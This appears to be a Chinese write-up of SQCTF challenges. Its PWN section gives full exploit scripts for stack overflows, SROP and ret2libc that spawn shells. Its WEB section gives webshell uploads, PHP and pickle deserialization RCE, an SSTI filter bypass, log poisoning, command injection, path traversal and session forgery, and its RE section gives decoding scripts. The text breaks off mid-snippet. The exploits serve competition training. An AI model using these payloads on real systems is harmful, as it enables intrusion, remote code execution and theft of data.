PWN
浅红欺醉粉,肯信有江梅
nc连接后用cat直接拿flag
领取你的小猫娘
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[76]; // [rsp+0h] [rbp-50h] BYREF
int v5; // [rsp+4Ch] [rbp-4h]
init(argc, argv, envp);
v5 = 0;
puts("[+]Welcome to SQNUCTF!");
sleep(1u);
puts("[+]Cat girl is super hungry now, she won't give a flag if she doesn't have anything to eat.");
puts("[+]hint:Virtual cat girl loves to eat characters");
gets(v4);
if ( v5 )
{
backdoor();
}
else
{
puts("[*]I haven't eaten enough, you scoundrel.");
puts("[*]Hmph, I won't talk to you anymore!");
}
return 0;
}
只要v5有值就能拿到shell,gets有栈溢出,所以输入很多“a”或者其他数据后覆盖到v5就能getshell
当时只道是寻常
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn01"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
binsh = 0x40203A
def pwn():
ru(b"What was once thought ordinary, now seems extraordinary.")
# gdb.attach(io)
pop_rax = 0x000000000040104a
pop_rsi_rax = 0x0000000000401049
syscall = 0x000000000040101d
padding = b'a' * 8
# 2. ROP 链:触发 sigreturn
rop_chain = [
pop_rax,
15, # RAX = 15 (sigreturn)
syscall # 调用 syscall
]
# 3. 构造 sigreturn frame(struct sigcontext)
frame = SigreturnFrame()
frame.rax = 0x3b # execve 系统调用号
frame.rdi = binsh # RDI 指向 "/bin/sh" 字符串
frame.rsi = 0 # RSI = 0
frame.rdx = 0 # RDX = 0
frame.rip = syscall # RIP 指向 syscall 指令
payload = padding + flat(rop_chain) + bytes(frame)
sl(payload)
itr()
if __name__ == "__main__":
while True:
# io = remote("challenge.qsnctf.com",31281)
io = process(pwnfile)
try:
pwn()
except:
io.close()
我觉君非池中物,咫尺蛟龙云雨
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def pwn():
ru(b"The yellow leaves rustle and close the sparsely arranged window.")
sh = '''
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall
'''
sl(asm(sh))
itr()
if __name__ == "__main__":
while True:
io = remote("challenge.qsnctf.com",31631)
# io = process(pwnfile)
try:
pwn()
except:
io.close()
江南无所有,聊赠一枝春
注意堆栈平衡
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./gift"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def pwn():
ru(b"[+]Do you want my gift?")
# gdb.attach(io)
payload = b"a"*0x48+p64(0x000000000040101a)+p64(0x4011B6)
sl(payload)
itr()
if __name__ == "__main__":
while True:
io = remote("challenge.qsnctf.com",30747)
# io = process(pwnfile)
try:
pwn()
except:
io.close()
被酒莫惊春睡重
很简单的ret2libc
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def pwn():
pop_rdi_rax = 0x00000000004011e2
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ru("请输入你的名字: ")
sl(b"aaaa")
ru("你好, 0x")
stack_addr = int(r(12),16)
print("stack_addr---------------->: ",hex(stack_addr))
ru("请输入你的选择 (1-3): ")
sl(b"1")
ru("请输入你的新诗(不超过255个字符): ")
payload = b"a"*0x28+p64(pop_rdi_rax)+p64(puts_got)+p64(0)+p64(puts_plt)+p64(0x4010F0)
s(payload)
ru(b"\n")
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("puts_addr------------_>",hex(puts_addr))
libc= LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump("puts")
print("libc_base-------->:",hex(libc_base))
system = libc_base+libc.dump("system")
binsh = libc_base+libc.dump('str_bin_sh')
ru("请输入你的名字: ")
sl(b"aaaa")
ru("请输入你的选择 (1-3): ")
sl(b"1")
ru("请输入你的新诗(不超过255个字符): ")
payload = b"a"*0x28+p64(pop_rdi_rax)+p64(binsh)*2+p64(system)
sl(payload)
# gdb.attach(io)
itr()
if __name__ == "__main__":
# while True:
io = remote("challenge.qsnctf.com",31518)
# io = process(pwnfile)
try:
pwn()
except:
io.close()
赌书消得泼茶香
base64解码,这里可以用\x00绕过
char *__fastcall sub_401320(__int64 a1, unsigned __int64 a2, __int64 *a3)
{
char *v5; // [rsp+28h] [rbp-28h]
__int64 v6; // [rsp+38h] [rbp-18h]
unsigned __int64 v7; // [rsp+40h] [rbp-10h]
__int64 size; // [rsp+48h] [rbp-8h]
size = 3 * (a2 >> 2); // 相当于 3*(a2/4),Base64每组4字符解码为3字节
if ( *(_BYTE *)(a2 - 1 + a1) == 61 ) // 处理末尾填充'='
--size;
if ( *(_BYTE *)(a2 - 2 + a1) == 61 ) // 处理倒数第二个填充'='
--size;
v5 = (char *)malloc(size); 分配解码后的缓冲区
if ( !v5 )
return 0LL;
v7 = 0LL;
v6 = 0LL;
while ( v7 < a2 )
{
sub_401260(a1 + v7, &v5[v6]); // 解码4字节的Base64数据为3字节原始数据
v7 += 4LL; //移动到下一组Base64数据
v6 += 3LL; // 移动到下一组输出位置
}
*a3 = size; //设置输出数据长度
return v5;
}
exp:
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn02"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def pwn():
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ret = 0x000000000040101a
pop_rdi = 0x0000000000401414
main_addr = 0x40147E
ru(b"How are you feeling right now?")
payload = b"\x00"*0x168+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
sl(payload)
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("puts_addr------------_>",hex(puts_addr))
libc= LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump("puts")
print("libc_base-------->:",hex(libc_base))
system = libc_base+libc.dump("system")
binsh = libc_base+libc.dump('str_bin_sh')
payload = b"\x00"*0x168+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p64(main_addr)
sl(payload)
# gdb.attach(io)
itr()
if __name__ == "__main__":
# while True:
io = remote("challenge.qsnctf.com",32341)
# io = process(pwnfile)
try:
pwn()
except:
io.close()
花非花,雾非雾_1
对于par1用010editor插入数据50 4B 03 04
- 找到插入点后,点击你想要开始插入的位置。
- 在菜单中选择“编辑” > “插入数值”。
- 在弹出的对话框中选择数值类型(如:8位、16位、32位等),并输入数值。
- 点击“确定”来插入数据。
然后 binwalk -e --run-as root ./part_1.docx 分离文件,可以拿到很多文件
铜雀春深锁二乔
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn03"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def pwn():
ru(b"Pondering the past as I stand in the remnants of the setting sun.")
s(b"%11$p%15$p%17$p")
ru(b"0x")
canary = int(r(16),16)
ru(b"0x")
main_addr = int(r(12),16)-0x125b
ru(b"0x")
stack_addr = int(r(12),16)-0x118+0x20-0x180
print("canary------------------------>:",hex(canary))
print("main_addr---------------------->:",hex(main_addr))
print("stack_addr--------------------->:",hex(stack_addr))
start_addr = main_addr+0x1100
leave = main_addr+0x1258
puts_got = main_addr+elf.got['puts']
pop_rdi = main_addr+0x0000000000001245
ret_addr = main_addr+0x1320
system = main_addr+0x1253
s(b"a"*8+p64(canary)*2+p64(start_addr))
ru(b"Pondering the past as I stand in the remnants of the setting sun.")
payload = p64(ret_addr)+p64(pop_rdi)+p64(stack_addr+0x10)+p64(system)+b"sh\x00"
s(payload)
s(b"a"*8+p64(canary)+p64(stack_addr-0x18)+p64(leave))
itr()
if __name__ == "__main__":
# while True:
io = remote("challenge.qsnctf.com",32102)
# io = process(pwnfile)
try:
pwn()
except:
io.close()
萧萧黄叶闭疏窗
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./bad"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def pwn():
ru(b"[+]What do you want to do ?")
sh = shellcraft.openat(-100,"/flag",0)
sh += shellcraft.sendfile(1,3,0,0x50)
sh = asm(sh)
payload_ddr = 0x4040A0
payload = sh
payload = payload.ljust(0x48,b"a")+p64(payload_ddr)
sl(payload)
itr()
if __name__ == "__main__":
while True:
io = remote("challenge.qsnctf.com",32073)
# io = process(pwnfile)
try:
pwn()
except:
io.close()
借的东风破金锁
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./key"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def pwn():
ru(b"[+] Input your key: ")
sl(b"FTCUNQS\x00")
itr()
if __name__ == "__main__":
while True:
io = remote("challenge.qsnctf.com",30030)
# io = process(pwnfile)
try:
pwn()
except:
io.close()
WEB
eeaassyy
view-source:http://challenge.qsnctf.com:32069/
逃
<?php
class test {
public $user = '';
public $pswd = 'escaping';
}
$payload = serialize(new test());
echo urlencode($payload);
?>
payload:
O:4:"test":2:{s:4:"user";s:0:"";s:4:"psswd";s:8:"escaping";}
嘿嘿嘿
<?php
class hhh {
public $file;
public $content;
public function __construct($file, $content) {
$this->file = $file;
$this->content = $content;
}
}
// 构造payload
$shell = new hhh("b.php", "<?=system('tac\$IFS*')?>");
$payload = serialize($shell);
// 输出payload
echo urlencode($payload);
?>
然后访问b.php
My Blog
http://challenge.qsnctf.com:30849/login.php?username=admin&password=secret123#
ezGame
http://challenge.qsnctf.com:32497/flag.php?score=2048
Upload_Level1
http://challenge.qsnctf.com:31080/upload/flag.php?a=system(%27nl%09/ffffffllllaaaagg%20%27);
唯一
ctfshow有相似过滤的题直接一把梭
http://challenge.qsnctf.com:32136/?note={% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{%print(x.open(file).read())%}
baby include
用日志包含绕过,将执行的命令插入日志中
这道题奇怪的是nginx日志在/var/log/nginx/access.log,一般apache日志在类似目录下(/var/log/httpd/access.log)
日志地址通常为
/var/log/nginx/error.log
/var/log/nginx/access.log
在User-Agent插入
<?php echo system('ls');?>商师一日游
用 php%0aaaa 来绕过判断
跟着提示一步一步做就可以了,一共有7块碎片,拼在一起就是flag。
File_download
/WEB-INF/web.xml:web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
下载文件(注意:post请求方法提交,成功下载(这脑洞有点大,此后下载均用post)。)
http://challenge.qsnctf.com:31453/DownloadServlet?filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class
下载class文件后反编译,然后解密
key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]
flag = []
for k in key:
# 逆向运算: c = (k ^ 48) - ord('&')
c = (k ^ 48) - ord('&')
flag.append(chr(c))
print(''.join(flag))
#85caad1c-33e3-0bc1-6d5e-a73b044f7d9f
Through
根据题目猜测为目录穿越,试了一个多小时,终于试出来了,原来是把**…/**替换为空
那么可以用 …/./ 来绕过 因为当替换 …/为空后 …/./变成了 …/刚好是上一个目录
payload:
/index.php?file=./css/..././..././..././..././..././..././..././..././..././flag
RceMe
http://challenge.qsnctf.com:31418/?com=nl /*
Ping
http://challenge.qsnctf.com:31748/?ip=127.0.0.1||nl /*
小小查询系统
sqlmap直接跑出来了
sqlmap -u "http://challenge.qsnctf.com:32462/?id=1" -D ctf -dump
baby rce
sha1($param1) == sha1($param2)`:如果`param1`和`param2`的SHA-1哈希值相等,则`$token`为`true
判断不严格很轻松就绕过了。
http://challenge.qsnctf.com:31465/?param1=aaa¶m2=aaa
call_user_func($_POST['payload'])
:允许执行任意回调函数。- 查PHP文档,call_user_func函数接受回调函数作为第一个参数。对于静态方法,可以传递一个数组,包含类名和方法名的字符串,或者传递一个字符串格式的"类名::方法名"。例如,call_user_func(array(‘TYctf’, ‘getKey’))或者call_user_func(‘TYctf::getKey’)。这两种方式都是有效的。
POST传参
payload=TYctf::getKey
Input a number
小数点绕过
http://challenge.qsnctf.com:32173/?sqctf=114514.1
Ez_calculate
import requests
import re
s = requests.Session()
url = "http://challenge.qsnctf.com:32482/"
res = s.get(url)
cont = res.text
patt = r'<div class="challenge">(.*?)</div>'
match = re.search(patt,cont)
print(match.group(1))
result = eval(match.group(1))
post_data = {'value':"{}".format(result)}
print(post_data)
response = s.post(url, data=post_data) # 使用 data 而非 json
print(response.text)
然后访问 /flag
Upload_Level2
先上传,flag.png内容是:
<?=eval($_REQUEST['a']);?>
然后用burp抓包,然后把png改为php,然后访问flag.php文件命令执行
http://challenge.qsnctf.com:32620/uploads/flag.php?a=system('nl /*');
白月光
又是SSTI
和唯一的payload一样能打出来
name={% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{%print(x.open(file).read())%}
无参之舞
view-source查看源码看到要用sqctf登录
view-source:http://challenge.qsnctf.com:32583/
利用burp爆破密码得到 密码是1q2w3e4r
username=sqctf&password=1q2w3e4r
查看有那些文件
http://challenge.qsnctf.com:32583/?exp=var_dump(scandir(%27./%27));
flag在哪里呢?,请告诉我<br>array(9) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(6) "bg.jpg"
[3]=>
string(8) "f1ag.php"
[4]=>
string(8) "flag.php"
[5]=>
string(9) "flag1.php"
[6]=>
string(9) "flag2.php"
[7]=>
string(9) "flag3.php"
[8]=>
string(9) "index.php"
}
然后读取flag
?exp=var_dump(file_get_contents('./f1ag.php'));
伪装
已经知道密钥
伪造session
python flask_session_cookie_manager3.py encode -s "love" -t '{"role":{"is_admin":1,"name":"sjx"}}'
yJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoic2p4In19.Z_iyKg.mmb-Z9j3PCLfvaY_F8BHocGGOgs
Are you from SQNU?
POST /?tyctf=1 HTTP/1.1
Host: challenge.qsnctf.com:32304
User-Agent: TYsecBrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://challenge.qsnctf.com:32304
Connection: close
Referer: https://sqnu-tysec.com
Cookie: user=admin; session=eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoic2p4In19.Z_iyKg.mmb-Z9j3PCLfvaY_F8BHocGGOgs
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Priority: u=0, i
tyctf=1&hhh=abc
Look for the homepage
在header头中看到challenge.php,访问
parse_str()函数的作用是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉原有变量。函数说明如下:
void parse_str( string KaTeX parse error: Expected 'EOF', got '&' at position 13: str[, array &̲arr] )
函数有两个参数,第一个是必须的,代表要解析注册成变量的字符串,比如“a=1”经过parse_str()函数后会注册$a并复制为1,第二个参数是一个数组,当第二个参数存在时,注册的变量会放到这个数组里,如果原来有相同的键值,则会覆盖掉它。
用一段简单的代码加深印象:
<?php
$b=2;
parse_str($b=321);
print_r($b);
?>
我们发现$b的值被覆盖为321。
利用数组绕过拿到flag
GET:
http://challenge.qsnctf.com:30987/challenge.php?pass1&pass2=welcome&verify=1&value3[]=1
POST:
value1[]=1
图片展示功能
提到apache会想到.htaccess,因此上传.htaccess 解析.png就可以了:
AddType application/x-httpd-php .png
然后上传一个png图片
内容为
<?=eval($_REQUEST['a']);?>自私的小s
cookie中有end.php,访问end.php
<?php
class Genshin_impact{
private $value;
public function __construct($v){
$this->value = $v;
}
function __destruct(){
echo eval($this->value);
}
}
$o = new Genshin_impact('system("cat /*");');
echo serialize($o);
echo "\n";
echo urlencode(serialize($o));
?>
//O%3A14%3A%22Genshin_impact%22%3A1%3A%7Bs%3A21%3A%22%00Genshin_impact%00value%22%3Bs%3A17%3A%22system%28%22cat+%2F%2A%22%29%3B%22%3B%7D
pickle
python的pickle反序列化,数据要base64加密
import base64
import pickle
class gg():
def __reduce__(self):
return (eval,("__import__('os').popen('tac /flag').read()",))
a=gg()
b=pickle.dumps(a)
print(base64.b64encode(b))
ggoodd
import requests
url = "http://challenge.qsnctf.com:30024/" #替换为自己的URL
params = {"json": '{"x":"cba"}'} # 自动处理URL编码
data = {"id": "abc"}
response = requests.post(url, params=params, data=data)
print(response.text)
开发人员的小失误
猜测为
/backup.sql 访问后下载文件
下载后txt文件打开
-- 创建数据库
CREATE DATABASE IF NOT EXISTS tyctf;
USE tyctf;
-- 创建user表
CREATE TABLE IF NOT EXISTS user (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) NOT NULL,
password VARCHAR(255) NOT NULL,
gender ENUM('male', 'female', 'other') NULL,
birthday DATE NULL
);
-- 创建secret表
CREATE TABLE IF NOT EXISTS secret (
id INT PRIMARY KEY,
value VARCHAR(255) NOT NULL
);
-- 创建image表
CREATE TABLE IF NOT EXISTS image (
imgName VARCHAR(100) NOT NULL,
date DATE NOT NULL,
source VARCHAR(255) NOT NULL
);
-- 向secret表插入数据
INSERT INTO secret (id, value) VALUES (1, 'sqctf{xxxxxxxxxxxx}');
千查万别
逆天,脑洞有点大
读取环境变量拿到flag
/proc/[pid]/environ ([pid]指向进行运行时的环境变量)
http://challenge.qsnctf.com:30903/view?doc=/proc/1/environ
RE
ezRe
工欲善其事,必先利其器,好的工具是必不可少的。
- exe 转 pyc 工具:
GitHub - WithSecureLabs/python-exe-unpacker: A helper script for unpacking and decompiling EXEs compiled from python code.
GitHub - pyinstxtractor/pyinstxtractor-ng: PyInstaller Extractor Next Generation
- 在线网站(
exe->pyc
):PyInstaller Extractor WEB - 在线网站(
pyc->python
):在线Python pyc文件编译与反编译 或 python反编译 - 有的时候,在线工具不好用,可以用 pycdc(强推),下载后记得
cmake
构建。
依次把exe和pyc文件反编译,然后base64解码得flag
慕然回首,那人却在灯火阑珊处
ida查看字符串找到地图为:
S**#######
##*#######
#**#######
##**######
###*###**#
#***###**#
#*#####**#
#*#####*E#
#*******##
#########
对应输入:d d s s s d s s a a s s s d d d d d d w d
指令解释:
d
:右移s
:下移a
:左移w
:上移
所以flag为:sqctf{ddsssdssaasssddddddwd}
鹅鹅鹅,曲项向天歌
依次把exe和pyc文件反编译,然后写脚本;
part2 = "itd~tzw_know_sanmenxbZ8"
part1 = 'flag{'
part3 = '}'
part2_1 = part2[:7]
part2_2 = part2[7:20]
part2_3 = part2[20:]
tmp = ''
true_flag = ''
for i in range(len(part2_1)):
tmp += chr(ord(part2_1[i]) - 5)
true_flag += tmp
tmp = ''
for i in range(len(part2_2)):
tmp += chr(ord(part2_2[i]) - 0)
true_flag += tmp
tmp = ''
for i in range(len(part2_3)):
tmp += chr(ord(part2_3[i]) + 7)
true_flag += tmp
print(true_flag)
圣人当仁不让
更具给出的base64码表,解出base64,然后python
s = "üþìïÔÒÎÜÖøÛÒøßÊ"
for i in s:
a = ord(i)
a += 2
a -= 5
a ^= 0xaa
print(a)
这解出来的-174用补码表示后的ascii是T
然后把所有数字转ascii码
所以flag为:SQCTF{easy_re_vm}
往事暗沉不可追
一样的操作,把exe文件转为pyc,然后反编译都到源码:
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.10
class SimpleVM:
def __init__(self):
self.memory = [
0] * 256
self.registers = [
0] * 16
def load(self, reg, addr):
self.registers[reg] = self.memory[addr]
def store(self, reg, addr):
self.memory[addr] = self.registers[reg]
def xor(self, reg, value):
self.registers[reg] ^= value
def execute(self, bytecode):
ip = 0
if ip < len(bytecode):
op = bytecode[ip]
if op == 'LOAD':
reg = bytecode[ip + 1]
addr = bytecode[ip + 2]
self.load(reg, addr)
ip += 3
elif op == 'STORE':
reg = bytecode[ip + 1]
addr = bytecode[ip + 2]
self.store(reg, addr)
ip += 3
elif op == 'XOR':
reg = bytecode[ip + 1]
value = bytecode[ip + 2]
self.xor(reg, value)
ip += 3
else:
raise ValueError(f'''Unknown opcode: {op}''')
if not None < len(bytecode):
return None
return None
def get_memory(self):
return self.memory
bytecode = [
'LOAD',
0,
16,
'XOR',
0,
85,
'STORE',
0,
32,
'LOAD',
1,
32,
'XOR',
1,
170,
'STORE',
1,
48]
encrypted_data = [
127,
131,
125,
123,
135,
127,
133,
123,
125,
131,
127,
135,
131,
123,
135,
125]
vm = SimpleVM()
vm.memory[16:16 + len(encrypted_data)] = encrypted_data
vm.execute(bytecode)
final_memory = vm.get_memory()
遇事不决,可问春风
使用jadx-gui反编译apk文件后,分析代码逆向
ENCRYPTED_PARTS数组拼接后的字符串为"5#)75#)7"。每个字符经过与XOR_KEY(66,即’B’的ASCII值)异或运算后得到明文密码。具体步骤如下:
- 拼接ENCRYPTED_PARTS得到加密字符串:“5#)75#)7”。
- 对每个字符进行异或解密:
- ‘5’ (53) ^ 66 → 119 → ‘w’
- ‘#’ (35) ^ 66 → 97 → ‘a’
- ‘)’ (41) ^ 66 → 107 → ‘k’
- ‘7’ (55) ^ 66 → 117 → ‘u’
- 重复后四位得到明文密码:“wakuwaku”。
SQCTF{i_am_a_wakuwaku}
春风也有春风愁
# 提取加密后的字节数组(注意小端序转换)
encrypted_bytes = [
0x0D,0x0b,0xfd,0x08,0xfa,0x15,0xf7,0xfb,
0x0d,0x13,0x31,0x14,0x01,0x0e,0x0f
][:15] # 总长度15字节
# 逆向算法:(encrypted_byte - 55) ^ 0xA5
flag = []
for eb in encrypted_bytes:
# 逆向运算
original = (eb - 55) ^ 0xA5
#小于0的话要取补码
if original<0:
complement = ~abs(original)
# 加1得到最终的补码
original = (complement + 1) & ((1 << 8) - 1)
print(original)
flag.append(chr(original))
# 拼接flag
print("解密后的flag:", ''.join(flag))
唧唧复唧唧,木兰当户织
用exeinfope查看文件发现是64为程序,并且有upx壳
upx解壳
F:\tools\upx-3.96-win64>upx -d C:\Users\saulgoodman\Desktop\main.exe
然后丢进ida中查看,发现有base64编码的东西
U1FDVEZ7eGl4aWJ1eGl4ae+8jG11bGFuZGFuZ2h1emhpfQ==
解码后为flag
SQCTF{xixibuxixi,mulandanghuzhi}
击败abyssun
先运行程序,然后把程序丢进ce中,然后按空格开始游戏,等游戏结束后查看内存信息,搜索sqctf拿到flag
SQCTF{Defeat_abyssun}
不劳春风解我忧
咋也不知道为什么,反正ctfshow上有相识的题直接用
#include <stdbool.h>
#include <stdio.h>
#define MX \
